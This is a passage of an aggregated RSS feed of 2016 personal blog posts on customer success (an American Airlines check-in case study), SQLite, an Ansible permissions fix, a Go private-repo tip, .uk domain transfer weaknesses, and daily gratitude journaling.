Murakami does what no author in my opinion can compare to: write poetry about our meandering daily…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sat, 04 Jun 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/norwegian-wood/</guid></item><item><title>Customer Success: American Airlines Case Study</title><link>https://josh.works/customer-success-american-airlines-case-study</link><description>&lt;p&gt;Continuing the theme of “what the heck do I do for work”,
&lt;a href="http://josh.works/?category=Customer%20Success"&gt;I’m writing about Customer Success&lt;/a&gt; as I see it. My words are my own, I don’t speak for the industry as a whole, or even for Litmus. I’m just trying to sharpen my own thinking.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Last time, I argued that &lt;a href="/customer%20success/2016/06/03/success-is-not-support/"&gt;customer success is not customer support&lt;/a&gt;. I acknowledged that in general, customer support is seen as a cost center, and therefore is a necessary evil for most organizations.&lt;/p&gt;

&lt;p&gt;I talked about why I disagree about the cost center assessment, and how someone in customer support could convince their executive team to view the support team as a profit center. That’s a long and arduous road, and
most organizations won’t make the switch.&lt;/p&gt;

&lt;p&gt;An enterprising individual can capitalize on this reluctance an organization has to view the support team in a better light, because that means theres tons of room to shine, get good experience under their belt, and leverage that data, knowledge, and perspective into a much better job for a new company.&lt;/p&gt;

&lt;h2 id="so-what-the-heck-is-customer-success"&gt;So what the heck is customer success?&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Update: I had an imaginary support interaction sketched out, but then I had a little kerfuffle with American Airlines today, so using that as my example story.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Think of everything your customer support team does. Now change the direction and timing of communication from customer &amp;gt; support to support &amp;gt; customer.&lt;/p&gt;

&lt;p&gt;Here’s a story that must happen a few hundred times a day with American Airlines:&lt;/p&gt;

&lt;p&gt;I tried to check into a flight tomorrow. It was booked with miles, over the phone, and I modified it a few times (over the phone) since the original booking. It’s from Barcelona&amp;gt;Madrid&amp;gt;Miami&amp;gt;Philadelphia (oof).&lt;/p&gt;

&lt;p&gt;I clicked the link in my email saying “Check in to your flight 24 hours before departure”&lt;/p&gt;

&lt;p&gt;&lt;img alt="Email prompting me to check into my flight. Almost illegible because the text is so small." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_575210f02eeb81f8db2685ab_1464996211200__img.png_" /&gt; Email prompting me to check into my flight. Almost illegible because the text is so small.&lt;/p&gt;

&lt;p&gt;I got the following error code:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Do I actually have a flight tomorrow?" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_57521180859fd0e77d6a42d9_1464996272969__img.png_" /&gt; Do I actually have a flight tomorrow?&lt;/p&gt;

&lt;p&gt;This was this morning, on my phone, sitting in a different airport.&lt;/p&gt;

&lt;p&gt;I became worried that there were problems with the flight, since I’d booked it and rebooked it and made modifications and cancelled the original itinerary. I didn’t have time to sort it out then (sitting in an airport) so planned on fixing it later. (“Sort it out” invariably means having my laptop out, and 40 minutes to spend on the phone.)&lt;/p&gt;

&lt;p&gt;Later, Kristi and I arrive to our apartment in Barcelona. We’re eager to get out the door to explore the city (it was 5p already!) but I tell Kristi I need to try to sort out the check-in problem.&lt;/p&gt;

&lt;p&gt;I try checking in on my computer, get this:&lt;/p&gt;

&lt;p&gt;&lt;img alt="This error message tells me *nothing* about what the problem is. (Spoiler alert, everything was fine, but this message doesn't exactly put you at ease, does it?)" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_575212251bbee04c3d4bc9db_1464996405039__img.png_" /&gt; This error message tells me &lt;em&gt;nothing&lt;/em&gt; about what the problem is. (Spoiler alert, everything was fine, but this message doesn’t exactly put you at ease, does it?)&lt;/p&gt;

&lt;p&gt;OK, it said something about the partner airline in the email, so I head over to the Iberian checkin page:&lt;/p&gt;

&lt;p&gt;Aaaand I get an uninspiring error message:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_57521272044262fce00bbcfc_1464996479634__img.png_" /&gt; “It’s not our fault this didn’t work. Please talk to American” - Iberian Air&lt;/p&gt;

&lt;p&gt;Not good. I’m hoping my wife and I are going to get back to the US tomorrow. Per the instructions provided on the AA error page, I called
AA.com Web Services.&lt;/p&gt;

&lt;p&gt;To AA’s credit, they answered fairly quickly. The first woman I spoke to hunted around for a few minutes on her computer, could not resolve the issue.&lt;/p&gt;

&lt;p&gt;I was handed off to a reservation agent, who explained the problem.&lt;/p&gt;

&lt;p&gt;She said (I’m roughly paraphrasing here):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;For award tickets booked through partner airlines, you have to check in at the airport. You’re not able to check in online, because the systems don’t talk to each other very well in the backend&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is great news, and I can totally sympathize with data problems.&lt;/p&gt;

&lt;p&gt;In short &lt;strong&gt;The system is functioning as expected, I simply cannot check in online. This has happened to me before, it will happen again. I’m happy to check in at the airport, 
as long as I feel confident that I’ll have a flight to check in TO!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;She offers to pass me through to Iberian air, just so I can talk with them. She gave me my
Iberian record locator, though at this point, I was satisfied with the answer.&lt;/p&gt;

&lt;p&gt;I took her up on the offer, and was passed along to Iberian. The woman from Iberian conveyed the same message, and I now feel at peace about flying back to the USA tomorrow.&lt;/p&gt;

&lt;h2 id="this-is-an-expensive-process-for-myself-and-american-airlines"&gt;This is an expensive process for myself and American Airlines&lt;/h2&gt;

&lt;p&gt;Lets summarize the cost:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Three failed checkin attempts on different systems/devices (I tried at least 3x each time, so really, nine or ten failed checkin attempts)&lt;/li&gt;
  &lt;li&gt;Spoke to three different airline reps, over about fifteen minutes&lt;/li&gt;
  &lt;li&gt;Five hours of low-level stress on my behalf&lt;/li&gt;
  &lt;li&gt;Delayed our sightseeing in Barcelona by about thirty minutes.&lt;/li&gt;
  &lt;li&gt;Left a decidedly poor taste in my mouth about the airline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s the kicker: All of this could have been avoided.&lt;/p&gt;

&lt;p&gt;In the email containing my record locator, instead of the primary CTA being “Check in now” (in a poorly formatted, almost illegible email, by the way) they should have said:&lt;/p&gt;

&lt;p&gt;&lt;img alt="In the original email, that 2nd bullet was wasted by warning that the TSA is terrible." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_57521338f850829dde1a16e2_1464996684818__img.png_" /&gt; In the original email, that 2nd bullet was wasted by warning that the TSA is terrible.&lt;/p&gt;

&lt;p&gt;That little line of text alone would have made me feel 10x better about what was coming.&lt;/p&gt;

&lt;p&gt;Alternatively, they could have done a little work when I tried to check in online, too:&lt;/p&gt;

&lt;p&gt;&lt;img alt="This is a *simulated* error message. The real one didn't say anything helpful." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5752136d40261d407f36d2d9_1464996725469__img.png_" /&gt; This is a &lt;em&gt;simulated&lt;/em&gt; error message. The real one didn’t say anything helpful.&lt;/p&gt;

&lt;p&gt;So, that was my poor experience, but does that mean American should actually do anything about this? After all, they’ve got limited resources, and many things to do. They cannot, and should not, try to fix every single little problem a customer has.&lt;/p&gt;

&lt;h2 id="is-this-really-a-problem"&gt;IS THIS REALLY A PROBLEM?&lt;/h2&gt;

&lt;p&gt;American &lt;a href="https://www.aa.com/i18n/aboutUs/corporateInformation/facts/americanairlinesgroup.jsp"&gt;says&lt;/a&gt; it flies ~6700 flights/day. &lt;a href="https://www.quora.com/What-is-the-average-amount-of-passengers-on-a-plane"&gt;Quora&lt;/a&gt; guesses 150 people per plane, on average, so that works out to about a million people PER DAY flying on American or an affiliated airline. &lt;/p&gt;

&lt;p&gt;I don’t know the percentage of customers who experience the exact same work flow I experience. Lets assume it’s 2%.&lt;/p&gt;

&lt;p&gt;2% of a million people/day is 20,000. Lets assume 1/5 of them have a minor freakout and call American for help. That’s 4000 people/day spending at least 15 minutes of a rep’s time, figuring out what is going on. That is the equivalent of 1000 man hours/day spent on just this problem, or 30,000 man hours/month.&lt;/p&gt;

&lt;p&gt;This 30,000 man hours/month is the the equivalent annual hours of over four full-time employees. Assuming their staff cost $15/hr to employ, this particular problem is burning about $500k/month in support hours alone. &lt;/p&gt;

&lt;p&gt;Now, that’s just the cost side of things. A half-million dollar/month problem seems big to you and I, but to a company bringing in $4 billion/year in profit, it’s not a big deal.&lt;/p&gt;

&lt;p&gt;The higher cost of this problem is to the customers who find it easy to move their spending to a different airline. Going back to those 20,000 people/day who experience this problem. Only 1/5 of them contacted American, which accounted for the $6m/year in staff payroll expense. That larger group spends, &lt;a href="http://airlines.org/data/annual-round-trip-fares-and-fees-domestic/"&gt;on average&lt;/a&gt;, $400/round trip ticket. &lt;/p&gt;

&lt;p&gt;$400/ticket * 20,000 people/day * 365 days/year means this problem is “touching” about $2.9B a YEAR in spending. You should care deeply that they have a good experience with your airline.&lt;/p&gt;

&lt;p&gt;So, by my math, yes, this is a problem and it should get development/marketing/support/billing resources to fix. Even if my math is all wrong, it’s a starting point for the folks at American to decide how to fix this. &lt;/p&gt;

&lt;h2 id="barriers-to-fixing-this"&gt;Barriers to fixing this&lt;/h2&gt;

&lt;p&gt;As you might assume, no fix is simple. Complexity plus “not my problem” plus “don’t mess with my group” makes this a thorny problem. Here’s a few reasons a fix would be hard to implement:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who owns the problem?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If someone from American said “hm, yes, I agree, lets fix that” and implemented a fix, the fix would touch on much more than just a single team. You’d need:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Developer work to redo the email templates to insert language about why online checkin is not available&lt;/li&gt;
  &lt;li&gt;Marketing/copywriting to decide on what language needs to be inserted&lt;/li&gt;
  &lt;li&gt;Marketing automation work to (perhaps) send a timely reminder email that says “in a few days, you might try to check in for your flight online, but you don’t need to, because…”&lt;/li&gt;
  &lt;li&gt;Before/after analytics to track if this new method of handling the topic results in a decrease in support calls or an increase in “customer loyalty”, however you choose to track it.
So far, all of this is pretty straight forward, and anyone reading this should say “yeah, why wouldn’t American do all of this?”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Great question. Here’s the barriers to pushing something like this through:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who’s problem is it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Who, in American, feels the pain from this problem?&lt;/p&gt;

&lt;p&gt;Not support - they’ve got a long list of problems their customers face every day, that range from bugs, to feature requests, to confusing workflows.&lt;/p&gt;

&lt;p&gt;This isn’t a concern to the average product manager. It’s a billing question, not something related to product.&lt;/p&gt;

&lt;p&gt;Not the dev team. The error messages are populating as expected, and they built the checkin workflows to spec.&lt;/p&gt;

&lt;p&gt;The customer will end up paying the invoice, so this problem isn’t even costing the company any money.&lt;/p&gt;

&lt;p&gt;It’s not a problem for the marketing team. They have their own metrics to hit, and reducing numbers of calls to the service center is not on their radar.&lt;/p&gt;

&lt;h2 id="the-success-team-makes-the-financial-case-for-this"&gt;The success team makes the financial case for this&lt;/h2&gt;

&lt;p&gt;This would be a problem that could be owned by the customer success team.&lt;/p&gt;

&lt;p&gt;They’d discover it because they work closely with the support team. They’d figure out what the problem is (unmet expectations), and identify what pain it is causing for the company, and what pain it’s causing for the customers.&lt;/p&gt;

&lt;p&gt;They would track as a primary metric customer loyalty, and churn. They would be intimately aware that every time someone has to contact support and doesn’t want to, that “costs” customer loyalty. It is much more painful for the customer than it is for the company. (This was fixed with 15 minutes spread out over three different reps. No big deal, but it cost me maybe 40 minutes of time, and five hours of stress.)&lt;/p&gt;

&lt;p&gt;So, the customer success team can own the complicated fix. They’ll figure out the spec of what needs to go in the dev pipeline, they’ll get the copy approval from the marketing team, and they’ll gather metrics from the support team about how often they hear from customers that might have this question.&lt;/p&gt;

&lt;p&gt;They’ll put open/click tracking in the notification emails that goes to the customers, to see if customers are opening the email, reading it, and clicking the call-to-action to gather more information.&lt;/p&gt;

&lt;p&gt;They’ll roll it out, and see if it results in a decrease in a number of calls to the support team.&lt;/p&gt;

&lt;p&gt;Overall, they can advocate for the customer to all teams. This is how they get past the “nothing is broken” response from the dev team, or the “this isn’t related to marketing” response from the marketing team. The support team will be onboard from the get-go.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hold on, Josh, you just painted the marketing and dev teams in a negative light. Of course they’ll want to be responsive to pain the customers feel. You’re being unfair.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They’re responsive to customer pain, and they’re on the hook to do way more work than they can actually do. The dev team ALWAYS has an enormous to-do list, and they would be foolish to let just anyone stick more items into their list.&lt;/p&gt;

&lt;p&gt;Same with the marketing team. They’re busy, and don’t have time to implement “good ideas” without knowing they will get a good ROI for their effort.&lt;/p&gt;

&lt;p&gt;So the Success team can own the reasons, and will have an ongoing, trusting relationship with the dev and marketing teams. If the success team makes it a priority and owns most of the implementation, the other teams are happy to help.&lt;/p&gt;

&lt;h2 id="who-decides-if-this-was-a-productive-use-of-time"&gt;Who decides if this was a productive use of time?&lt;/h2&gt;

&lt;p&gt;The marketing team looks at funnels. The dev team looks at features. The sales team looks at leads. The support team looks at tickets. The success team looks at the customers who have done nothing to warrant special attention, besides
paying you money.&lt;/p&gt;

&lt;p&gt;The goal of the customer success team is to ensure that the customer achieves his/her
&lt;a href="http://sixteenventures.com/customer-success-desired-outcome"&gt;Desired Outcome&lt;/a&gt; with the minimum effort. This goal, if executed well, leads to many happy customers who pay you money and tell their friends/coworkers to do the same. I’ve already made the case that the worst-case impact of this problem is $2.9B/year. Even if I’m WAY off, this problem could still be impacting hundreds of millions in revenue. It needs to be fixed.&lt;/p&gt;

&lt;h2 id="summary"&gt;Summary&lt;/h2&gt;

&lt;p&gt;Traditionally, this general theme might fit under a User Experience role, but I think in a small-to-medium sized company, before they have a dedicated UX team, a fix like this could be owned by the success team, since they can advocate on behalf of the customers.&lt;/p&gt;

&lt;p&gt;The Customer Success team can follow the needs of the customer wherever they might go, drawing on resources from anywhere in the company to deliver these solutions. Throughout, they are backed by the most important metric to a company: revenue.&lt;/p&gt;

&lt;p&gt;It’s a pretty exciting field to be in. Where else do you get to spend all day solving big problems for large numbers of people?&lt;/p&gt;

&lt;h4 id="resources"&gt;Resources&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://sixteenventures.com/customer-success-desired-outcome"&gt;Understanding Your Customer’s Desired Outcome&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sat, 04 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/customer-success-american-airlines-case-study</guid></item><item><title>Don't be a Poseidon</title><link>https://hth.is/2016/06/04/dont-be-a-poseidon/</link><description>In the short story &amp;lsquo;Poseidon&amp;rsquo;, by Franz Kafka, the great god of the sea is said to be unhappy with his role of administrating all of Earths bodies of water. The punchline is that due to his dismissal of his assistants as unskilled for the tasks he deems so important, he is him self a prisoner of his own ego. Drowning in paperwork, he is never to be able to make time to experience the oceans he oversees.</description><author>Hrafn Thorvaldsson</author><pubDate>Sat, 04 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://hth.is/2016/06/04/dont-be-a-poseidon/</guid></item><item><title>Haskell Web Frameworks</title><link>https://3059274a.danpalmer-me.pages.dev/2016-06-04-haskell-web-frameworks/</link><description>A quick overview of 5 of the popular Haskell web frameworks, and what they can do to improve the state of web development.</description><author>Dan Palmer</author><pubDate>Sat, 04 Jun 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2016-06-04-haskell-web-frameworks/</guid></item><item><title>May's Gyroscope Report</title><link>https://rjp.is/blogging/posts/mays-gyroscope-report-2/</link><description>In which we look at some graphs.</description><author>infrequent oscillations</author><pubDate>Fri, 03 Jun 2016 21:45:37 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/mays-gyroscope-report-2/</guid></item><item><title>SQLite on The Changelog</title><link>https://peterlyons.com/problog/2016/06/sqlite-on-the-changelog/</link><description>&lt;p&gt;I just listened to &lt;a href="https://changelog.com/201/"&gt;The Changelog Episode 201&lt;/a&gt; on &lt;a href="https://sqlite.org/"&gt;SQLite&lt;/a&gt; with Richard Hipp. Completely fascinating. This project is completely on outlier on so many different facets.&lt;/p&gt;
&lt;p&gt;It is one of the most widely-used software projects of all time. It is the work of a very small team (3 engineers I believe have done the vast majority of the coding). Richard codes it in a text editor he wrote (I believe Linus Torvalds also uses a custom editor he wrote). It is tracked in a version control system called &lt;a href="http://www.fossil-scm.org"&gt;fossil&lt;/a&gt; that Richard also wrote. SQLite has zero dependencies. Everything they need has been hand coded from scratch.&lt;/p&gt;
&lt;p&gt;I found this interview completely spellbinding and would love to hear a follow-up. My mind just races with what Richard might say to me if he rode shotgun next to me coding for a few hours. What would he say about my tools? My methods? My domain knowledge?&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Fri, 03 Jun 2016 17:55:13 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/06/sqlite-on-the-changelog/</guid></item><item><title>.uk domain transfers are scary</title><link>https://pricey.uk/blog/uk-domain-transfers-are-scary/</link><description>&lt;p&gt;.uk transfers are a little different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You instruct your old registrar to change the "IPS tag" to point the domain to your new registrar.&lt;/li&gt;
&lt;li&gt;You tell your new registrar that the domain just assigned to them is yours.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The new registrar then dutifully updates all of Nominet's records. Even if the name... email... address... you provided them with bears no relation to the existing (private?) registration information. Who cares if you had 2 factor authentication enabled on the original Nominet account, your domain is gone.&lt;/p&gt;
&lt;p&gt;Nominet says the onus is on the registrar to ensure they verify you're the owner when going through this process. But they don't?&lt;/p&gt;
&lt;p&gt;What's to stop someone scraping whois records (that IPS tag is public) and racing to claim the domains you're transferring before you do?&lt;/p&gt;
&lt;p&gt;Apparently nothing. A few weeks ago I ran a little test. I registered a new domain at one registrar and immediately asked they change the IPS tag to another. A coworker watched over my shoulder as I retrieved the whois details for my domain to see the tag change, but then I got distracted looking for cake/looking over their shoulder. They set up a new account at the second registrar and claimed the domain, using no secret information and without either registrar or Nominet gaining my consent.&lt;/p&gt;
&lt;p&gt;What am I missing? Do some registrars I haven't tried put effort into verifying your ownership? Is it just a few bad actors?&lt;/p&gt;
&lt;p&gt;UPDATE: One registrar I've contacted has now promised they've updated their systems to email the owner listed by Nominet for confirmation, before handing over the domain. Minor success...&lt;/p&gt;</description><author>Joseph Price</author><pubDate>Fri, 03 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://pricey.uk/blog/uk-domain-transfers-are-scary/</guid></item><item><title>Success is not support</title><link>https://josh.works/customer%20success/2016/06/03/success-is-not-support/</link><description>&lt;p&gt;&lt;a href="/an-intro-to-customer-success"&gt;We did a high-level “Customer Success” overview yesterday&lt;/a&gt;. Today, lets contrast customer support and customer success.&lt;/p&gt;

&lt;h2 id="support-vs-success"&gt;Support vs. Success&lt;/h2&gt;

&lt;p&gt;First, what’s the difference between “customer support” and “customer success”?&lt;/p&gt;

&lt;p&gt;&lt;a href="http://sixteenventures.com/customer-success-definition#support"&gt;Lincoln Murphey says&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Customer Success is proactively working our customers toward their Desired Outcome whereas Customer Support is reactive to customer’s break/fix issues.&lt;/p&gt;

  &lt;p&gt;Customer Support – specifically the number of interactions with the customer and how quickly those interactions are resolved – is a critical input into an overall Customer Health score (a key Customer Success metric). It’s pretty obvious that if customers can’t use the product, they can’t achieve their Desired Outcome.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, support is reactive, and success is proactive. This distinction is quick to cause frustration for support teams, because they feel like they’re being taken down a notch.&lt;/p&gt;

&lt;p&gt;In some companies, this is absolutely the case. Support is the low man on the totem poll, and it’s not good for anyone.&lt;/p&gt;

&lt;h2 id="cost-center-or-profit-center"&gt;Cost Center or Profit Center?&lt;/h2&gt;

&lt;p&gt;Support usually is tolerated, not celebrated. This difference has to do with the difference between a
cost center and a profit center. (Being annoyed at this won’t help you change the situation.)&lt;/p&gt;

&lt;p&gt;A cost center is something that you have to have, and relucantly pay for it. Think “insurance” and “taxes”. You pay for them because not paying for them is worse, but you don’t actually enjoy it.&lt;/p&gt;

&lt;p&gt;A profit center is a little machine that makes money. You put $X in, and it gives you $X+N. If you can double your input, theoretically you can double your output.&lt;/p&gt;

&lt;p&gt;Companies live off of money. Money can beget more money, if spent in the right way. Money wasted means the company might go under.&lt;/p&gt;

&lt;p&gt;Most companies view their support teams as a necessary evil. This is unfortunate, but this is also an
enormous opportunity for a sufficiently motivated person on a support team to aim for driving massive change in their company.&lt;/p&gt;

&lt;h2 id="turn-the-cost-center-into-a-profit-center"&gt;Turn the cost center into a profit center&lt;/h2&gt;

&lt;p&gt;This will be a path of blood, sweat, and tears. I think its worth it, because whatever brave, enterprising soul masters this feat will be able to write his or her own ticket for the rest of their career. Forbes says
&lt;a href="http://www.forbes.com/sites/larrymyler/2013/02/14/be-a-hero-turn-a-cost-center-into-a-profit-center/#d3e869c6811e"&gt;you’ll be a hero&lt;/a&gt; if you can do this.&lt;/p&gt;

&lt;p&gt;Forbes’ take on it is limited, though.
&lt;a href="http://blog.asmartbear.com/tech-support-is-sales.html"&gt;Your support team is really your sales team&lt;/a&gt;. So, build the metrics around this.&lt;/p&gt;

&lt;p&gt;Support plays a huge roll in churn. If you can drive churn down, you’re helping your company make money.
&lt;a href="https://www.amazon.com/Effortless-Experience-Conquering-Battleground-Customer-ebook/dp/B00C5R73I8?ie=UTF8&amp;amp;btkr=1&amp;amp;ref_=dp-kindle-redirect"&gt;The Effortless Experience&lt;/a&gt; covers this quite well.&lt;/p&gt;

&lt;p&gt;If you decide to undertake this initiatve, you’ll need to make a strong business case to the right people. This work will be good for your career, and very good for your company. If the last sentance didn’t inspire you, go read
&lt;a href="https://www.amazon.com/Smart-Like-How-Hidden-Success-ebook/dp/B0181C4N56"&gt;Smart Like How&lt;/a&gt;, to learn to think really creatively on your career, and how you can shape it.&lt;/p&gt;

&lt;p&gt;Whereever you can run against prevailing thought, you have a chance to carve out a big, valuable ownership of a topic. So, at your company, drive home the idea that support is a profit center, not a cost center.&lt;/p&gt;

&lt;p&gt;If you can prove the following relationship, backed up by data, you’ll be ahead of 95% of most support teams out there:&lt;/p&gt;

&lt;p&gt;Customer support interactions correlate to increased LTV of a customer&lt;/p&gt;

&lt;p&gt;There might be more, but that’s it for now. It’ll be hard to convince the entire team of this, but it’s your job. You cannot throw your hands up and say “they don’t believe the same things I do.” &lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.amazon.com/Extreme-Ownership-U-S-Navy-SEALs-ebook/dp/B00VE4Y0Z2"&gt;Extreme Ownership&lt;/a&gt; touches on this, but unless you like books about war, don’t read it.&lt;/p&gt;

&lt;h4 id="resources"&gt;Resources&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/Smart-Like-How-Hidden-Success-ebook/dp/B0181C4N56"&gt;Smart Like How&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/Effortless-Experience-Conquering-Battleground-Customer-ebook/dp/B00C5R73I8?ie=UTF8&amp;amp;btkr=1&amp;amp;ref_=dp-kindle-redirect"&gt;The Effortless Experience&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://blog.asmartbear.com/tech-support-is-sales.html"&gt;A Smart Bear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/Extreme-Ownership-U-S-Navy-SEALs-ebook/dp/B00VE4Y0Z2"&gt;Extreme Ownership&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Fri, 03 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/customer%20success/2016/06/03/success-is-not-support/</guid></item><item><title>Links - June 3rd, 2016</title><link>https://faingezicht.com/links/2016/06/03/links/</link><description/><author>Avy Faingezicht</author><pubDate>Fri, 03 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/06/03/links/</guid></item><item><title>Fixing the Ansible 2.1 Temporary File Permissions Issue</title><link>https://benovermyer.com/blog/2016/06/fixing-the-ansible-21-temporary-file-permissions-issue/</link><description>&lt;p&gt;In Ansible 2.1 and later, Ansible will not allow the creation of world-readable temporary files. It does this for a good reason, but it's a change from how it was before. If you're experiencing this problem, you'll see an error when trying to become_user other than root, and it'll look like this:&lt;/p&gt;
&lt;pre class="giallo" style="color: #F8F8F2; background-color: #282A36;"&gt;&lt;code&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;fatal: [12.34.567.8]: FAILED! =&amp;gt; {&amp;quot;failed&amp;quot;: true, &amp;quot;msg&amp;quot;: &amp;quot;Failed to set permissions on the temporary files Ansible needs to create when becoming an unprivileged user. For information on working around this, see https://docs.ansible.com/ansible/become.html#becoming-an-unprivileged-user&amp;quot;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The documentation offers solutions. The one that worked for me was this: add the installation (and enablement) of ACL as part of your common tasks for a given playbook. Everything else will then work behind the scenes to make sure those temporary files are handled securely and silently.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 02 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2016/06/fixing-the-ansible-21-temporary-file-permissions-issue/</guid></item><item><title>go get for private repos in docker</title><link>https://divan.dev/posts/go_get_private/</link><description>&lt;p&gt;As Go community slowly moving towards established and well understood patterns and practices of dependency management, there are still some confusing moments. One of them is automating repeatable build process using containers along with using dependencies in private repositories.&lt;/p&gt;
&lt;p&gt;Private repositories on Github are often is a &lt;a href="https://github.com/golang/go/issues/9697"&gt;source of confusion&lt;/a&gt; when using &lt;code&gt;go get&lt;/code&gt;, but it has easy workaround by adding two lines to your &lt;code&gt;.gitconfig&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[url "git@github.com:"]
	insteadOf = https://github.com/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;or as a oneliner:&lt;/p&gt;</description><author>divan's blog</author><pubDate>Wed, 01 Jun 2016 20:28:46 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/go_get_private/</guid></item><item><title>The disappointment of OutRun</title><link>https://rjp.is/blogging/posts/the-disappointment-of-outrun-2-2/</link><description>In which we fail a goal but that's ok.</description><author>infrequent oscillations</author><pubDate>Wed, 01 Jun 2016 06:31:54 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/the-disappointment-of-outrun-2-2/</guid></item><item><title>Gratitude 3x/day</title><link>https://josh.works/growth/2016/06/01/gratitude-3xday/</link><description>&lt;p&gt;Earlier this year, I read 
&lt;a href="https://www.amazon.com/dp/B00AKKS278/ref=dp-kindle-redirect?_encoding=UTF8&amp;amp;btkr=1"&gt;The Miracle Morning&lt;/a&gt;, which promises (paraphrasing here):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you do these seven things every morning you’ll be the most amazing person you’ve ever met.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OK, it’s not exactly that bold, but it’s not far off. It wasn’t a terrible book, it had lots of good things, but the author made sure you knew he was awesome. (The author was at one point the top Cutco salesmen in the world…)&lt;/p&gt;

&lt;p&gt;To be honest, I reluctantly enjoyed the book. I didn’t want to, and wanted to be able to mentally tune out, but it was compelling. Here’s 
&lt;a href="http://lifehacker.com/start-your-day-off-right-with-the-savers-morning-routin-1716241117"&gt;Lifehacker&lt;/a&gt; on it, and 
&lt;a href="http://www.jamesaltucher.com/2015/07/how-to-win-the-day/"&gt;James Altucher interviewing Hal Elrod&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Read those summaries before deciding to read the book.&lt;/p&gt;

&lt;p&gt;Anyway - the ONE practice from this book that still impacts me today almost every day is that of “daily gratitude”. 
The Miracle Morning certainly wasn’t the first to discuss this, but it finally made it stick.&lt;/p&gt;

&lt;p&gt;Every day, or almost every day, for much of the last five months, I’ve written down three things that I’m thankful for every day.&lt;/p&gt;

&lt;p&gt;I started keeping them on a really long text document on my phone, but the size of the list was making it buggy. (Sidebar- 
&lt;a href="http://9to5google.com/2016/06/01/google-keep-web-redesign/"&gt;Google Keep&lt;/a&gt; is a delightful app. Android, Mac, iPhone - it works everywhere.)&lt;/p&gt;

&lt;p&gt;Every few months, I like to look back through what I’ve written and remember what caused me to write it. Since the only rule is “no repeating”, I’ve had to become attentive to the things I can be thankful for every day, since I need to find something 
new every day. (Three things every day, actually.)&lt;/p&gt;

&lt;p&gt;If someone said “Hey, sit down and write 360 things you are thankful for”, it would take you a long time. You might not be able to. But write down three things a day for four months… there’s your list of 360 things.&lt;/p&gt;

&lt;p&gt;Oh, I stopped using Google Keep, as I mentioned. Now I’m using 
&lt;a href="https://play.google.com/store/apps/details?id=com.journey.app&amp;amp;hl=en"&gt;Journey&lt;/a&gt; on Android and Chrome. So far so good. (It’s free)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
